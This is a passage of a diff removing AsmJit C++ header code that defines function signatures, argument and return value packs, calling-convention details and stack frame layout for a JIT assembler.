inline void setPreservedRegs(uint32_t group, uint32_t regs) noexcept { - ASMJIT_ASSERT(group < BaseReg::kGroupVirt); - _preservedRegs[group] = regs; - } - - //! \} -}; - -// ============================================================================ -// [asmjit::FuncSignature] -// ============================================================================ - -//! Function signature. -//! -//! Contains information about function return type, count of arguments and -//! their TypeIds. Function signature is a low level structure which doesn't -//! contain platform specific or calling convention specific information. -struct FuncSignature { - //! Calling convention id. - uint8_t _callConv; - //! Count of arguments. - uint8_t _argCount; - //! Index of a first VA or `kNoVarArgs`. - uint8_t _vaIndex; - //! Return value TypeId. - uint8_t _ret; - //! Function arguments TypeIds. - const uint8_t* _args; - - enum : uint8_t { - //! Doesn't have variable number of arguments (`...`). - kNoVarArgs = 0xFF - }; - - //! \name Initializtion & Reset - //! \{ - - //! Initializes the function signature. - inline void init(uint32_t ccId, uint32_t vaIndex, uint32_t ret, const uint8_t* args, uint32_t argCount) noexcept { - ASMJIT_ASSERT(ccId <= 0xFF); - ASMJIT_ASSERT(argCount <= 0xFF); - - _callConv = uint8_t(ccId); - _argCount = uint8_t(argCount); - _vaIndex = uint8_t(vaIndex); - _ret = uint8_t(ret); - _args = args; - } - - inline void reset() noexcept { memset(this, 0, sizeof(*this)); } - - //! \} - - //! \name Accessors - //! \{ - - //! Returns the calling convention. - inline uint32_t callConv() const noexcept { return _callConv; } - //! Sets the calling convention to `ccId`; - inline void setCallConv(uint32_t ccId) noexcept { _callConv = uint8_t(ccId); } - - //! Tests whether the function has variable number of arguments (...). - inline bool hasVarArgs() const noexcept { return _vaIndex != kNoVarArgs; } - //! Returns the variable arguments (...) index, `kNoVarArgs` if none. - inline uint32_t vaIndex() const noexcept { return _vaIndex; } - //! Sets the variable arguments (...) index to `index`. - inline void setVaIndex(uint32_t index) noexcept { _vaIndex = uint8_t(index); } - //! Resets the variable arguments index (making it a non-va function). - inline void resetVaIndex() noexcept { _vaIndex = kNoVarArgs; } - - //! Returns the number of function arguments. - inline uint32_t argCount() const noexcept { return _argCount; } - - inline bool hasRet() const noexcept { return _ret != Type::kIdVoid; } - //! Returns the return value type. - inline uint32_t ret() const noexcept { return _ret; } - - //! Returns the type of the argument at index `i`. - inline uint32_t arg(uint32_t i) const noexcept { - ASMJIT_ASSERT(i < _argCount); - return _args[i]; - } - //! Returns the array of function arguments' types. - inline const uint8_t* args() const noexcept { return _args; } - - //! \} -}; - -// ============================================================================ -// [asmjit::FuncSignatureT] -// ============================================================================ - -template -class FuncSignatureT : public FuncSignature { -public: - inline FuncSignatureT(uint32_t ccId = CallConv::kIdHost, uint32_t vaIndex = kNoVarArgs) noexcept { - static const uint8_t ret_args[] = { (uint8_t(Type::IdOfT::kTypeId))... }; - init(ccId, vaIndex, ret_args[0], ret_args + 1, uint32_t(ASMJIT_ARRAY_SIZE(ret_args) - 1)); - } -}; - -// ============================================================================ -// [asmjit::FuncSignatureBuilder] -// ============================================================================ - -//! Function signature builder. -class FuncSignatureBuilder : public FuncSignature { -public: - uint8_t _builderArgList[Globals::kMaxFuncArgs]; - - //! \name Initializtion & Reset - //! \{ - - inline FuncSignatureBuilder(uint32_t ccId = CallConv::kIdHost, uint32_t vaIndex = kNoVarArgs) noexcept { - init(ccId, vaIndex, Type::kIdVoid, _builderArgList, 0); - } - - //! \} - - //! \name Accessors - //! \{ - - //! Sets the return type to `retType`. - inline void setRet(uint32_t retType) noexcept { _ret = uint8_t(retType); } - //! Sets the return type based on `T`. - template - inline void setRetT() noexcept { setRet(Type::IdOfT::kTypeId); } - - //! Sets the argument at index `index` to `argType`. - inline void setArg(uint32_t index, uint32_t argType) noexcept { - ASMJIT_ASSERT(index < _argCount); - _builderArgList[index] = uint8_t(argType); - } - //! Sets the argument at index `i` to the type based on `T`. - template - inline void setArgT(uint32_t index) noexcept { setArg(index, Type::IdOfT::kTypeId); } - - //! Appends an argument of `type` to the function prototype. - inline void addArg(uint32_t type) noexcept { - ASMJIT_ASSERT(_argCount < Globals::kMaxFuncArgs); - _builderArgList[_argCount++] = uint8_t(type); - } - //! Appends an argument of type based on `T` to the function prototype. - template - inline void addArgT() noexcept { addArg(Type::IdOfT::kTypeId); } - - //! \} -}; - -// ============================================================================ -// [asmjit::FuncValue] -// ============================================================================ - -//! Argument or return value (or its part) as defined by `FuncSignature`, but -//! with register or stack address (and other metadata) assigned. -struct FuncValue { - uint32_t _data; - - enum Parts : uint32_t { - kTypeIdShift = 0, //!< TypeId shift. - kTypeIdMask = 0x000000FFu, //!< TypeId mask. - - kFlagIsReg = 0x00000100u, //!< Passed by register. - kFlagIsStack = 0x00000200u, //!< Passed by stack. - kFlagIsIndirect = 0x00000400u, //!< Passed indirectly by reference (internally a pointer). - kFlagIsDone = 0x00000800u, //!< Used internally by arguments allocator. - - kStackOffsetShift = 12, //!< Stack offset shift. - kStackOffsetMask = 0xFFFFF000u, //!< Stack offset mask (must occupy MSB bits). - - kRegIdShift = 16, //!< RegId shift. - kRegIdMask = 0x00FF0000u, //!< RegId mask. - - kRegTypeShift = 24, //!< RegType shift. - kRegTypeMask = 0xFF000000u //!< RegType mask. - }; - - //! \name Initializtion & Reset - //! \{ - - // These initialize the whole `FuncValue` to either register or stack. Useful - // when you know all of these properties and wanna just set it up. - - //! Initializes the `typeId` of this `FuncValue`. - inline void initTypeId(uint32_t typeId) noexcept { - _data = typeId << kTypeIdShift; - } - - inline void initReg(uint32_t regType, uint32_t regId, uint32_t typeId, uint32_t flags = 0) noexcept { - _data = (regType << kRegTypeShift) | (regId << kRegIdShift) | (typeId << kTypeIdShift) | kFlagIsReg | flags; - } - - inline void initStack(int32_t offset, uint32_t typeId) noexcept { - _data = (uint32_t(offset) << kStackOffsetShift) | (typeId << kTypeIdShift) | kFlagIsStack; - } - - //! Resets the value to its unassigned state. - inline void reset() noexcept { _data = 0; } - - //! \} - - //! \name Assign - //! \{ - - // These initialize only part of `FuncValue`, useful when building `FuncValue` - // incrementally. The caller should first init the type-id by caliing `initTypeId` - // and then continue building either register or stack. - - inline void assignRegData(uint32_t regType, uint32_t regId) noexcept { - ASMJIT_ASSERT((_data & (kRegTypeMask | kRegIdMask)) == 0); - _data |= (regType << kRegTypeShift) | (regId << kRegIdShift) | kFlagIsReg; - } - - inline void assignStackOffset(int32_t offset) noexcept { - ASMJIT_ASSERT((_data & kStackOffsetMask) == 0); - _data |= (uint32_t(offset) << kStackOffsetShift) | kFlagIsStack; - } - - //! \} - - //! \name Accessors - //! \{ - - inline explicit operator bool() const noexcept { return _data != 0; } - - inline void _replaceValue(uint32_t mask, uint32_t value) noexcept { _data = (_data & ~mask) | value; } - - //! Tests whether the `FuncValue` has a flag `flag` set. - inline bool hasFlag(uint32_t flag) const noexcept { return (_data & flag) != 0; } - //! Adds `flags` to `FuncValue`. - inline void addFlags(uint32_t flags) noexcept { _data |= flags; } - //! Clears `flags` of `FuncValue`. - inline void clearFlags(uint32_t flags) noexcept { _data &= ~flags; } - - //! Tests whether the value is initialized (i.e. contains a valid data). - inline bool isInitialized() const noexcept { return _data != 0; } - //! Tests whether the argument is passed by register. - inline bool isReg() const noexcept { return hasFlag(kFlagIsReg); } - //! Tests whether the argument is passed by stack. - inline bool isStack() const noexcept { return hasFlag(kFlagIsStack); } - //! Tests whether the argument is passed by register. - inline bool isAssigned() const noexcept { return hasFlag(kFlagIsReg | kFlagIsStack); } - //! Tests whether the argument is passed through a pointer (used by WIN64 to pass XMM|YMM|ZMM). - inline bool isIndirect() const noexcept { return hasFlag(kFlagIsIndirect); } - - //! Tests whether the argument was already processed (used internally). - inline bool isDone() const noexcept { return hasFlag(kFlagIsDone); } - - //! Returns a register type of the register used to pass function argument or return value. - inline uint32_t regType() const noexcept { return (_data & kRegTypeMask) >> kRegTypeShift; } - //! Sets a register type of the register used to pass function argument or return value. - inline void setRegType(uint32_t regType) noexcept { _replaceValue(kRegTypeMask, regType << kRegTypeShift); } - - //! Returns a physical id of the register used to pass function argument or return value. - inline uint32_t regId() const noexcept { return (_data & kRegIdMask) >> kRegIdShift; } - //! Sets a physical id of the register used to pass function argument or return value. - inline void setRegId(uint32_t regId) noexcept { _replaceValue(kRegIdMask, regId << kRegIdShift); } - - //! Returns a stack offset of this argument. - inline int32_t stackOffset() const noexcept { return int32_t(_data & kStackOffsetMask) >> kStackOffsetShift; } - //! Sets a stack offset of this argument. - inline void setStackOffset(int32_t offset) noexcept { _replaceValue(kStackOffsetMask, uint32_t(offset) << kStackOffsetShift); } - - //! Tests whether the argument or return value has associated `Type::Id`. - inline bool hasTypeId() const noexcept { return (_data & kTypeIdMask) != 0; } - //! Returns a TypeId of this argument or return value. - inline uint32_t typeId() const noexcept { return (_data & kTypeIdMask) >> kTypeIdShift; } - //! Sets a TypeId of this argument or return value. - inline void setTypeId(uint32_t typeId) noexcept { _replaceValue(kTypeIdMask, typeId << kTypeIdShift); } - - //! \} -}; - -// ============================================================================ -// [asmjit::FuncValuePack] -// ============================================================================ - -//! Contains multiple `FuncValue` instances in an array so functions that use -//! multiple registers for arguments or return values can represent all inputs -//! and outputs. -struct FuncValuePack { -public: - //! Values data. - FuncValue _values[Globals::kMaxValuePack]; - - inline void reset() noexcept { - for (size_t i = 0; i < Globals::kMaxValuePack; i++) - _values[i].reset(); - } - - //! Calculates how many values are in the pack, checking for non-values - //! from the end. - inline uint32_t count() const noexcept { - uint32_t n = Globals::kMaxValuePack; - while (n && !_values[n - 1]) - n--; - return n; - } - - inline FuncValue* values() noexcept { return _values; } - inline const FuncValue* values() const noexcept { return _values; } - - inline void resetValue(size_t index) noexcept { - ASMJIT_ASSERT(index < Globals::kMaxValuePack); - _values[index].reset(); - } - - inline bool hasValue(size_t index) noexcept { - ASMJIT_ASSERT(index < Globals::kMaxValuePack); - return _values[index].isInitialized(); - } - - inline void assignReg(size_t index, const BaseReg& reg, uint32_t typeId = Type::kIdVoid) noexcept { - ASMJIT_ASSERT(index < Globals::kMaxValuePack); - ASMJIT_ASSERT(reg.isPhysReg()); - _values[index].initReg(reg.type(), reg.id(), typeId); - } - - inline void assignReg(size_t index, uint32_t regType, uint32_t regId, uint32_t typeId = Type::kIdVoid) noexcept { - ASMJIT_ASSERT(index < Globals::kMaxValuePack); - _values[index].initReg(regType, regId, typeId); - } - - inline void assignStack(size_t index, int32_t offset, uint32_t typeId = Type::kIdVoid) noexcept { - ASMJIT_ASSERT(index < Globals::kMaxValuePack); - _values[index].initStack(offset, typeId); - } - - inline FuncValue& operator[](size_t index) { - ASMJIT_ASSERT(index < Globals::kMaxValuePack); - return _values[index]; - } - - inline const FuncValue& operator[](size_t index) const { - ASMJIT_ASSERT(index < Globals::kMaxValuePack); - return _values[index]; - } -}; - -// ============================================================================ -// [asmjit::FuncDetail] -// ============================================================================ - -//! Function detail - CallConv and expanded FuncSignature. -//! -//! Function detail is architecture and OS dependent representation of a function. -//! It contains calling convention and expanded function signature so all -//! arguments have assigned either register type & id or stack address. -class FuncDetail { -public: - //! Calling convention. - CallConv _callConv; - //! Number of function arguments. - uint8_t _argCount; - //! Variable arguments index of `kNoVarArgs`. - uint8_t _vaIndex; - //! Reserved for future use. - uint16_t _reserved; - //! Registers that contains arguments. - uint32_t _usedRegs[BaseReg::kGroupVirt]; - //! Size of arguments passed by stack. - uint32_t _argStackSize; - //! Function return value(s). - FuncValuePack _rets; - //! Function arguments. - FuncValuePack _args[Globals::kMaxFuncArgs]; - - enum : uint8_t { - //! Doesn't have variable number of arguments (`...`). - kNoVarArgs = 0xFF - }; - - //! \name Construction & Destruction - //! \{ - - inline FuncDetail() noexcept { reset(); } - inline FuncDetail(const FuncDetail& other) noexcept = default; - - //! Initializes this `FuncDetail` to the given signature. - ASMJIT_API Error init(const FuncSignature& signature, const Environment& environment) noexcept; - inline void reset() noexcept { memset(this, 0, sizeof(*this)); } - - //! \} - - //! \name Accessors - //! \{ - - //! Returns the function's calling convention, see `CallConv`. - inline const CallConv& callConv() const noexcept { return _callConv; } - - //! Returns the associated calling convention flags, see `CallConv::Flags`. - inline uint32_t flags() const noexcept { return _callConv.flags(); } - //! Checks whether a CallConv `flag` is set, see `CallConv::Flags`. - inline bool hasFlag(uint32_t ccFlag) const noexcept { return _callConv.hasFlag(ccFlag); } - - //! Tests whether the function has a return value. - inline bool hasRet() const noexcept { return bool(_rets[0]); } - //! Returns the number of function arguments. - inline uint32_t argCount() const noexcept { return _argCount; } - - //! Returns function return values. - inline FuncValuePack& retPack() noexcept { return _rets; } - //! Returns function return values. - inline const FuncValuePack& retPack() const noexcept { return _rets; } - - //! Returns a function return value associated with the given `valueIndex`. - inline FuncValue& ret(size_t valueIndex = 0) noexcept { return _rets[valueIndex]; } - //! Returns a function return value associated with the given `valueIndex` (const). - inline const FuncValue& ret(size_t valueIndex = 0) const noexcept { return _rets[valueIndex]; } - - //! Returns function argument packs array. - inline FuncValuePack* argPacks() noexcept { return _args; } - //! Returns function argument packs array (const). - inline const FuncValuePack* argPacks() const noexcept { return _args; } - - //! Returns function argument pack at the given `argIndex`. - inline FuncValuePack& argPack(size_t argIndex) noexcept { - ASMJIT_ASSERT(argIndex < Globals::kMaxFuncArgs); - return _args[argIndex]; - } - - //! Returns function argument pack at the given `argIndex` (const). - inline const FuncValuePack& argPack(size_t argIndex) const noexcept { - ASMJIT_ASSERT(argIndex < Globals::kMaxFuncArgs); - return _args[argIndex]; - } - - //! Returns an argument at `valueIndex` from the argument pack at the given `argIndex`. - inline FuncValue& arg(size_t argIndex, size_t valueIndex = 0) noexcept { - ASMJIT_ASSERT(argIndex < Globals::kMaxFuncArgs); - return _args[argIndex][valueIndex]; - } - - //! Returns an argument at `valueIndex` from the argument pack at the given `argIndex` (const). - inline const FuncValue& arg(size_t argIndex, size_t valueIndex = 0) const noexcept { - ASMJIT_ASSERT(argIndex < Globals::kMaxFuncArgs); - return _args[argIndex][valueIndex]; - } - - //! Resets an argument at the given `argIndex`. - //! - //! If the argument is a parameter pack (has multiple values) all values are reset. - inline void resetArg(size_t argIndex) noexcept { - ASMJIT_ASSERT(argIndex < Globals::kMaxFuncArgs); - _args[argIndex].reset(); - } - - //! Tests whether the function has variable arguments. - inline bool hasVarArgs() const noexcept { return _vaIndex != kNoVarArgs; } - //! Returns an index of a first variable argument. - inline uint32_t vaIndex() const noexcept { return _vaIndex; } - - //! Tests whether the function passes one or more argument by stack. - inline bool hasStackArgs() const noexcept { return _argStackSize != 0; } - //! Returns stack size needed for function arguments passed on the stack. - inline uint32_t argStackSize() const noexcept { return _argStackSize; } - - //! Returns red zone size. - inline uint32_t redZoneSize() const noexcept { return _callConv.redZoneSize(); } - //! Returns spill zone size. - inline uint32_t spillZoneSize() const noexcept { return _callConv.spillZoneSize(); } - //! Returns natural stack alignment. - inline uint32_t naturalStackAlignment() const noexcept { return _callConv.naturalStackAlignment(); } - - //! Returns a mask of all passed registers of the given register `group`. - inline uint32_t passedRegs(uint32_t group) const noexcept { return _callConv.passedRegs(group); } - //! Returns a mask of all preserved registers of the given register `group`. - inline uint32_t preservedRegs(uint32_t group) const noexcept { return _callConv.preservedRegs(group); } - - //! Returns a mask of all used registers of the given register `group`. - inline uint32_t usedRegs(uint32_t group) const noexcept { - ASMJIT_ASSERT(group < BaseReg::kGroupVirt); - return _usedRegs[group]; - } - - //! Adds `regs` to the mask of used registers of the given register `group`. - inline void addUsedRegs(uint32_t group, uint32_t regs) noexcept { - ASMJIT_ASSERT(group < BaseReg::kGroupVirt); - _usedRegs[group] |= regs; - } - - //! \} -}; - -// ============================================================================ -// [asmjit::FuncFrame] -// ============================================================================ - -//! Function frame. -//! -//! Function frame is used directly by prolog and epilog insertion (PEI) utils. -//! It provides information necessary to insert a proper and ABI comforming -//! prolog and epilog. Function frame calculation is based on `CallConv` and -//! other function attributes. -//! -//! Function Frame Structure -//! ------------------------ -//! -//! Various properties can contribute to the size and structure of the function -//! frame. The function frame in most cases won't use all of the properties -//! illustrated (for example Spill Zone and Red Zone are never used together). -//! -//! ``` -//! +-----------------------------+ -//! | Arguments Passed by Stack | -//! +-----------------------------+ -//! | Spill Zone | -//! +-----------------------------+ <- Stack offset (args) starts from here. -//! | Return Address, if Pushed | -//! +-----------------------------+ <- Stack pointer (SP) upon entry. -//! | Save/Restore Stack. | -//! +-----------------------------+-----------------------------+ -//! | Local Stack | | -//! +-----------------------------+ Final Stack | -//! | Call Stack | | -//! +-----------------------------+-----------------------------+ <- SP after prolog. -//! | Red Zone | -//! +-----------------------------+ -//! ``` -class FuncFrame { -public: - enum Tag : uint32_t { - //! Tag used to inform that some offset is invalid. - kTagInvalidOffset = 0xFFFFFFFFu - }; - - //! Attributes are designed in a way that all are initially false, and user - //! or FuncFrame finalizer adds them when necessary. - enum Attributes : uint32_t { - //! Function has variable number of arguments. - kAttrHasVarArgs = 0x00000001u, - //! Preserve frame pointer (don't omit FP). - kAttrHasPreservedFP = 0x00000010u, - //! Function calls other functions (is not leaf). - kAttrHasFuncCalls = 0x00000020u, - - //! Use AVX instead of SSE for all operations (X86). - kAttrX86AvxEnabled = 0x00010000u, - //! Emit VZEROUPPER instruction in epilog (X86). - kAttrX86AvxCleanup = 0x00020000u, - //! Emit EMMS instruction in epilog (X86). - kAttrX86MmxCleanup = 0x00040000u, - - //! Function has aligned save/restore of vector registers. - kAttrAlignedVecSR = 0x40000000u, - //! FuncFrame is finalized and can be used by PEI. - kAttrIsFinalized = 0x80000000u - }; - - //! Function attributes. - uint32_t _attributes; - - //! Architecture, see \ref Environment::Arch. - uint8_t _arch; - //! SP register ID (to access call stack and local stack). - uint8_t _spRegId; - //! SA register ID (to access stack arguments). - uint8_t _saRegId; - - //! Red zone size (copied from CallConv). - uint8_t _redZoneSize; - //! Spill zone size (copied from CallConv). - uint8_t _spillZoneSize; - //! Natural stack alignment (copied from CallConv). - uint8_t _naturalStackAlignment; - //! Minimum stack alignment to turn on dynamic alignment. - uint8_t _minDynamicAlignment; - - //! Call stack alignment. - uint8_t _callStackAlignment; - //! Local stack alignment. - uint8_t _localStackAlignment; - //! Final stack alignment. - uint8_t _finalStackAlignment; - - //! Adjustment of the stack before returning (X86-STDCALL). - uint16_t _calleeStackCleanup; - - //! Call stack size. - uint32_t _callStackSize; - //! Local stack size. - uint32_t _localStackSize; - //! Final stack size (sum of call stack and local stack). - uint32_t _finalStackSize; - - //! Local stack offset (non-zero only if call stack is used). - uint32_t _localStackOffset; - //! Offset relative to SP that contains previous SP (before alignment). - uint32_t _daOffset; - //! Offset of the first stack argument relative to SP. - uint32_t _saOffsetFromSP; - //! Offset of the first stack argument relative to SA (_saRegId or FP). - uint32_t _saOffsetFromSA; - - //! Local stack adjustment in prolog/epilog. - uint32_t _stackAdjustment; - - //! Registers that are dirty. - uint32_t _dirtyRegs[BaseReg::kGroupVirt]; - //! Registers that must be preserved (copied from CallConv). - uint32_t _preservedRegs[BaseReg::kGroupVirt]; - //! Size to save/restore per register group. - uint8_t _saveRestoreRegSize[BaseReg::kGroupVirt]; - //! Alignment of save/restore area per register group. - uint8_t _saveRestoreAlignment[BaseReg::kGroupVirt]; - - //! Stack size required to save registers with push/pop. - uint16_t _pushPopSaveSize; - //! Stack size required to save extra registers that cannot use push/pop. - uint16_t _extraRegSaveSize; - //! Offset where registers saved/restored via push/pop are stored - uint32_t _pushPopSaveOffset; - //! Offset where extra ragisters that cannot use push/pop are stored. - uint32_t _extraRegSaveOffset; - - //! \name Construction & Destruction - //! \{ - - inline FuncFrame() noexcept { reset(); } - inline FuncFrame(const FuncFrame& other) noexcept = default; - - ASMJIT_API Error init(const FuncDetail& func) noexcept; - - inline void reset() noexcept { - memset(this, 0, sizeof(FuncFrame)); - _spRegId = BaseReg::kIdBad; - _saRegId = BaseReg::kIdBad; - _daOffset = kTagInvalidOffset; - } - - //! \} - - //! \name Accessors - //! \{ - - //! Returns the target architecture of the function frame. - inline uint32_t arch() const noexcept { return _arch; } - - //! Returns function frame attributes, see `Attributes`. - inline uint32_t attributes() const noexcept { return _attributes; } - //! Checks whether the FuncFame contains an attribute `attr`. - inline bool hasAttribute(uint32_t attr) const noexcept { return (_attributes & attr) != 0; } - //! Adds attributes `attrs` to the FuncFrame. - inline void addAttributes(uint32_t attrs) noexcept { _attributes |= attrs; } - //! Clears attributes `attrs` from the FrameFrame. - inline void clearAttributes(uint32_t attrs) noexcept { _attributes &= ~attrs; } - - //! Tests whether the function has variable number of arguments. - inline bool hasVarArgs() const noexcept { return hasAttribute(kAttrHasVarArgs); } - //! Sets the variable arguments flag. - inline void setVarArgs() noexcept { addAttributes(kAttrHasVarArgs); } - //! Resets variable arguments flag. - inline void resetVarArgs() noexcept { clearAttributes(kAttrHasVarArgs); } - - //! Tests whether the function preserves frame pointer (EBP|ESP on X86). - inline bool hasPreservedFP() const noexcept { return hasAttribute(kAttrHasPreservedFP); } - //! Enables preserved frame pointer. - inline void setPreservedFP() noexcept { addAttributes(kAttrHasPreservedFP); } - //! Disables preserved frame pointer. - inline void resetPreservedFP() noexcept { clearAttributes(kAttrHasPreservedFP); } - - //! Tests whether the function calls other functions. - inline bool hasFuncCalls() const noexcept { return hasAttribute(kAttrHasFuncCalls); } - //! Sets `kFlagHasCalls` to true. - inline void setFuncCalls() noexcept { addAttributes(kAttrHasFuncCalls); } - //! Sets `kFlagHasCalls` to false. - inline void resetFuncCalls() noexcept { clearAttributes(kAttrHasFuncCalls); } - - //! Tests whether the function contains AVX cleanup - 'vzeroupper' instruction in epilog. - inline bool hasAvxCleanup() const noexcept { return hasAttribute(kAttrX86AvxCleanup); } - //! Enables AVX cleanup. - inline void setAvxCleanup() noexcept { addAttributes(kAttrX86AvxCleanup); } - //! Disables AVX cleanup. - inline void resetAvxCleanup() noexcept { clearAttributes(kAttrX86AvxCleanup); } - - //! Tests whether the function contains AVX cleanup - 'vzeroupper' instruction in epilog. - inline bool isAvxEnabled() const noexcept { return hasAttribute(kAttrX86AvxEnabled); } - //! Enables AVX cleanup. - inline void setAvxEnabled() noexcept { addAttributes(kAttrX86AvxEnabled); } - //! Disables AVX cleanup. - inline void resetAvxEnabled() noexcept { clearAttributes(kAttrX86AvxEnabled); } - - //! Tests whether the function contains MMX cleanup - 'emms' instruction in epilog. - inline bool hasMmxCleanup() const noexcept { return hasAttribute(kAttrX86MmxCleanup); } - //! Enables MMX cleanup. - inline void setMmxCleanup() noexcept { addAttributes(kAttrX86MmxCleanup); } - //! Disables MMX cleanup. - inline void resetMmxCleanup() noexcept { clearAttributes(kAttrX86MmxCleanup); } - - //! Tests whether the function uses call stack. - inline bool hasCallStack() const noexcept { return _callStackSize != 0; } - //! Tests whether the function uses local stack. - inline bool hasLocalStack() const noexcept { return _localStackSize != 0; } - //! Tests whether vector registers can be saved and restored by using aligned reads and writes. - inline bool hasAlignedVecSR() const noexcept { return hasAttribute(kAttrAlignedVecSR); } - //! Tests whether the function has to align stack dynamically. - inline bool hasDynamicAlignment() const noexcept { return _finalStackAlignment >= _minDynamicAlignment; } - - //! Tests whether the calling convention specifies 'RedZone'. - inline bool hasRedZone() const noexcept { return _redZoneSize != 0; } - //! Tests whether the calling convention specifies 'SpillZone'. - inline bool hasSpillZone() const noexcept { return _spillZoneSize != 0; } - - //! Returns the size of 'RedZone'. - inline uint32_t redZoneSize() const noexcept { return _redZoneSize; } - //! Returns the size of 'SpillZone'. - inline uint32_t spillZoneSize() const noexcept { return _spillZoneSize; } - //! Returns natural stack alignment (guaranteed stack alignment upon entry). - inline uint32_t naturalStackAlignment() const noexcept { return _naturalStackAlignment; } - //! Returns natural stack alignment (guaranteed stack alignment upon entry). - inline uint32_t minDynamicAlignment() const noexcept { return _minDynamicAlignment; } - - //! Tests whether the callee must adjust SP before returning (X86-STDCALL only) - inline bool hasCalleeStackCleanup() const noexcept { return _calleeStackCleanup != 0; } - //! Returns home many bytes of the stack the the callee must adjust before returning (X86-STDCALL only) - inline uint32_t calleeStackCleanup() const noexcept { return _calleeStackCleanup; } - - //! Returns call stack alignment. - inline uint32_t callStackAlignment() const noexcept { return _callStackAlignment; } - //! Returns local stack alignment. - inline uint32_t localStackAlignment() const noexcept { return _localStackAlignment; } - //! Returns final stack alignment (the maximum value of call, local, and natural stack alignments). - inline uint32_t finalStackAlignment() const noexcept { return _finalStackAlignment; } - - //! Sets call stack alignment. - //! - //! \note This also updates the final stack alignment. - inline void setCallStackAlignment(uint32_t alignment) noexcept { - _callStackAlignment = uint8_t(alignment); - _finalStackAlignment = Support::max(_naturalStackAlignment, _callStackAlignment, _localStackAlignment); - } - - //! Sets local stack alignment. - //! - //! \note This also updates the final stack alignment. - inline void setLocalStackAlignment(uint32_t value) noexcept { - _localStackAlignment = uint8_t(value); - _finalStackAlignment = Support::max(_naturalStackAlignment, _callStackAlignment, _localStackAlignment); - } - - //! Combines call stack alignment with `alignment`, updating it to the greater value. - //! - //! \note This also updates the final stack alignment. - inline void updateCallStackAlignment(uint32_t alignment) noexcept { - _callStackAlignment = uint8_t(Support::max(_callStackAlignment, alignment)); - _finalStackAlignment = Support::max(_finalStackAlignment, _callStackAlignment); - } - - //! Combines local stack alignment with `alignment`, updating it to the greater value. - //! - //! \note This also updates the final stack alignment. - inline void updateLocalStackAlignment(uint32_t alignment) noexcept { - _localStackAlignment = uint8_t(Support::max(_localStackAlignment, alignment)); - _finalStackAlignment = Support::max(_finalStackAlignment, _localStackAlignment); - } - - //! Returns call stack size. - inline uint32_t callStackSize() const noexcept { return _callStackSize; } - //! Returns local stack size. - inline uint32_t localStackSize() const noexcept { return _localStackSize; } - - //! Sets call stack size. - inline void setCallStackSize(uint32_t size) noexcept { _callStackSize = size; } - //! Sets local stack size. - inline void setLocalStackSize(uint32_t size) noexcept { _localStackSize = size; } - - //! Combines call stack size with `size`, updating it to the greater value. - inline void updateCallStackSize(uint32_t size) noexcept { _callStackSize = Support::max(_callStackSize, size); } - //! Combines local stack size with `size`, updating it to the greater value. - inline void updateLocalStackSize(uint32_t size) noexcept { _localStackSize = Support::max(_localStackSize, size); } - - //! Returns final stack size (only valid after the FuncFrame is finalized). - inline uint32_t finalStackSize() const noexcept { return _finalStackSize; } - - //! Returns an offset to access the local stack (non-zero only if call stack is used). - inline uint32_t localStackOffset() const noexcept { return _localStackOffset; } - - //! Tests whether the function prolog/epilog requires a memory slot for storing unaligned SP. - inline bool hasDAOffset() const noexcept { return _daOffset != kTagInvalidOffset; } - //! Returns a memory offset used to store DA (dynamic alignment) slot (relative to SP). - inline uint32_t daOffset() const noexcept { return _daOffset; } - - inline uint32_t saOffset(uint32_t regId) const noexcept { - return regId == _spRegId ? saOffsetFromSP() - : saOffsetFromSA(); - } - - inline uint32_t saOffsetFromSP() const noexcept { return _saOffsetFromSP; } - inline uint32_t saOffsetFromSA() const noexcept { return _saOffsetFromSA; } - - //! Returns mask of registers of the given register `group` that are modified - //! by the function. The engine would then calculate which registers must be - //! saved & restored by the function by using the data provided by the calling - //! convention. - inline uint32_t dirtyRegs(uint32_t group) const noexcept { - ASMJIT_ASSERT(group < BaseReg::kGroupVirt); - return _dirtyRegs[group]; - } - - //! Sets which registers (as a mask) are modified by the function. - //! - //! \remarks Please note that this will completely overwrite the existing - //! register mask, use `addDirtyRegs()` to modify the existing register - //! mask. - inline void setDirtyRegs(uint32_t group, uint32_t regs) noexcept { - ASMJIT_ASSERT(group < BaseReg::kGroupVirt); - _dirtyRegs[group] = regs; - } - - //! Adds which registers (as a mask) are modified by the function. - inline void addDirtyRegs(uint32_t group, uint32_t regs) noexcept { - ASMJIT_ASSERT(group < BaseReg::kGroupVirt); - _dirtyRegs[group] |= regs; - } - - //! \overload - inline void addDirtyRegs(const BaseReg& reg) noexcept { - ASMJIT_ASSERT(reg.id() < Globals::kMaxPhysRegs); - addDirtyRegs(reg.group(), Support::bitMask(reg.id())); - } - - //! \overload - template - ASMJIT_INLINE void addDirtyRegs(const BaseReg& reg, Args&&... args) noexcept { - addDirtyRegs(reg); - addDirtyRegs(std::forward(args)...); - } - - inline void setAllDirty() noexcept { - for (size_t i = 0; i < ASMJIT_ARRAY_SIZE(_dirtyRegs); i++) - _dirtyRegs[i] = 0xFFFFFFFFu; - } - - inline void setAllDirty(uint32_t group) noexcept { - ASMJIT_ASSERT(group < BaseReg::kGroupVirt); - _dirtyRegs[group] = 0xFFFFFFFFu; - } - - //! Returns a calculated mask of registers of the given `group` that will be - //! saved and restored in the function's prolog and epilog, respectively. The - //! register mask is calculated from both `dirtyRegs` (provided by user) and - //! `preservedMask` (provided by the calling convention). - inline uint32_t savedRegs(uint32_t group) const noexcept { - ASMJIT_ASSERT(group < BaseReg::kGroupVirt); - return _dirtyRegs[group] & _preservedRegs[group]; - } - - //! Returns the mask of preserved registers of the given register `group`. - //! - //! Preserved registers are those that must survive the function call - //! unmodified. The function can only modify preserved registers it they - //! are saved and restored in funciton's prolog and epilog, respectively. - inline uint32_t preservedRegs(uint32_t group) const noexcept { - ASMJIT_ASSERT(group < BaseReg::kGroupVirt); - return _preservedRegs[group]; - } - - inline uint32_t saveRestoreRegSize(uint32_t group) const noexcept { - ASMJIT_ASSERT(group < BaseReg::kGroupVirt); - return _saveRestoreRegSize[group]; - } - - inline uint32_t saveRestoreAlignment(uint32_t group) const noexcept { - ASMJIT_ASSERT(group < BaseReg::kGroupVirt); - return _saveRestoreAlignment[group]; - } - - inline bool hasSARegId() const noexcept { return _saRegId != BaseReg::kIdBad; } - inline uint32_t saRegId() const noexcept { return _saRegId; } - inline void setSARegId(uint32_t regId) { _saRegId = uint8_t(regId); } - inline void resetSARegId() { setSARegId(BaseReg::kIdBad); } - - //! Returns stack size required to save/restore registers via push/pop. - inline uint32_t pushPopSaveSize() const noexcept { return _pushPopSaveSize; } - //! Returns an offset to the stack where registers are saved via push/pop. - inline uint32_t 